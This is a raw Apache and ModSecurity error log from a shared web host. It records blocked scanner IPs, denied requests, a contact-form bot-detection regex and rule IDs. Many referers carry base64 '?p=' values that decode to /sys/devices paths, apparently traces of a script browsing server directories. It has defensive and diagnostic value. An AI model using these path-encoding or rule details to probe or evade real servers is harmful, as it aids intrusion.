[access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9kcml2ZXIvbW9kdWxl [Sat Jun 13 18:22:50.924090 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9kcml2ZXIvbW9kdWxl [Sat Jun 13 18:22:51.004742 2026] [access_compat:error] [pid 715691:tid 715809] [remote 57.141.14.22:32158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:51.005214 2026] [access_compat:error] [pid 715691:tid 715809] [remote 57.141.14.22:32158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:51.018770 2026] [security2:error] [pid 646876:tid 647006] [remote 17.22.245.219:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 219.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30W9yTkdrNlD40tSHPRAAAKX8"] [Sat Jun 13 18:22:51.196646 2026] [security2:error] [pid 715691:tid 715828] [remote 17.246.23.124:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 124.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30W7V-dFiaX9AtWiQeUwABLXU"] [Sat Jun 13 18:22:51.412455 2026] [access_compat:error] [pid 715691:tid 715825] [remote 57.141.14.53:20370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:51.412738 2026] [access_compat:error] [pid 715691:tid 715825] [remote 57.141.14.53:20370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:51.432828 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:22:51.433322 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:22:51.854303 2026] [security2:error] [pid 715691:tid 715958] [client 45.157.112.235:30933] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.112.157.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "muranoaviacion.com"] [uri "/index.php/joomla-pages/j-pages/contact-us"] [unique_id "ai30W7V-dFiaX9AtWiQecQAAAX8"], referer: https://muranoaviacion.com/index.php/joomla-pages/j-pages/contact-us [Sat Jun 13 18:22:51.858073 2026] [security2:error] [pid 715691:tid 715765] [remote 17.241.219.200:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 200.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30W7V-dFiaX9AtWiQedAABGzY"] [Sat Jun 13 18:22:51.975943 2026] [security2:error] [pid 646876:tid 646999] [remote 2a02:c7c:b449:e300:5141:29f:784:f109:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30W9yTkdrNlD40tSHPVwAAP3g"], referer: https://www.torquayfans.com [Sat Jun 13 18:22:51.975979 2026] [security2:error] [pid 646876:tid 646999] [remote 2a02:c7c:b449:e300:5141:29f:784:f109:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30W9yTkdrNlD40tSHPVwAAP3g"], referer: https://www.torquayfans.com [Sat Jun 13 18:22:51.984869 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.14:50180] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:51.985073 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2V2ZW50My9kZXZpY2UvZXZlbnQz [Sat Jun 13 18:22:51.985517 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2V2ZW50My9kZXZpY2UvZXZlbnQz [Sat Jun 13 18:22:51.985665 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.14:50180] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:52.100907 2026] [security2:error] [pid 715691:tid 715807] [remote 17.246.23.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30XLV-dFiaX9AtWiQegQABH2A"] [Sat Jun 13 18:22:52.167387 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.96:36003] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:52.167678 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.96:36003] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:52.203865 2026] [security2:error] [pid 646876:tid 646926] [remote 17.22.237.180:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30XNyTkdrNlD40tSHPYQAAUi8"] [Sat Jun 13 18:22:52.378177 2026] [security2:error] [pid 715691:tid 715752] [remote 17.22.253.218:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 218.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30XLV-dFiaX9AtWiQejwABKio"] [Sat Jun 13 18:22:52.501494 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:22:52.501919 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:22:52.512159 2026] [security2:error] [pid 646876:tid 646924] [remote 17.241.227.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30XNyTkdrNlD40tSHPZQAACy0"] [Sat Jun 13 18:22:52.606073 2026] [access_compat:error] [pid 715691:tid 715814] [remote 57.141.14.42:53052] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:52.606501 2026] [access_compat:error] [pid 715691:tid 715814] [remote 57.141.14.42:53052] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:52.941279 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.55:38687] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:52.941847 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.55:38687] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:52.958566 2026] [security2:error] [pid 715691:tid 715721] [remote 17.241.227.90:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 90.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30XLV-dFiaX9AtWiQerQABgQs"] [Sat Jun 13 18:22:53.001575 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:22:53.002091 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:22:53.062245 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.30:59642] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:53.062710 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.30:59642] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:53.097489 2026] [security2:error] [pid 715691:tid 715745] [remote 17.246.19.17:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30XbV-dFiaX9AtWiQetQABciM"] [Sat Jun 13 18:22:53.176827 2026] [lsapi:warn] [pid 715691:tid 715957] [client 138.94.121.145:31571] [host kshar.net] Backend log: PHP Warning: Use of undefined constant user_level - assumed 'user_level' (this will throw an Error in a future version of PHP) in /home2/yourkat1/public_html/kshar/wp-content/plugins/ultimate-google-analytics/ultimate_ga.php on line 524\n [Sat Jun 13 18:22:53.466869 2026] [security2:error] [pid 646876:tid 646917] [remote 17.241.227.102:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30XdyTkdrNlD40tSHPkwAAYiY"] [Sat Jun 13 18:22:53.551146 2026] [core:error] [pid 646876:tid 647009] [client 172.93.171.162:8534] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.baidu.com/ [Sat Jun 13 18:22:53.551176 2026] [core:error] [pid 646876:tid 647009] [client 172.93.171.162:8534] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.baidu.com/ [Sat Jun 13 18:22:53.558916 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:22:53.559375 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:22:53.666916 2026] [access_compat:error] [pid 715691:tid 715728] [remote 57.141.14.36:26206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:53.667201 2026] [access_compat:error] [pid 715691:tid 715728] [remote 57.141.14.36:26206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:53.730143 2026] [access_compat:error] [pid 715691:tid 715729] [remote 57.141.14.100:36669] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:53.730418 2026] [access_compat:error] [pid 715691:tid 715729] [remote 57.141.14.100:36669] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:54.072100 2026] [security2:error] [pid 715691:tid 715710] [remote 17.241.75.26:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30XrV-dFiaX9AtWiQe3gABegA"] [Sat Jun 13 18:22:54.073685 2026] [access_compat:error] [pid 646876:tid 646893] [remote 57.141.14.78:46206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:54.074091 2026] [access_compat:error] [pid 646876:tid 646893] [remote 57.141.14.78:46206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:54.092989 2026] [security2:error] [pid 646876:tid 646904] [remote 17.22.253.153:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 153.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30XtyTkdrNlD40tSHPnwAAXRk"] [Sat Jun 13 18:22:54.115322 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:22:54.115641 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 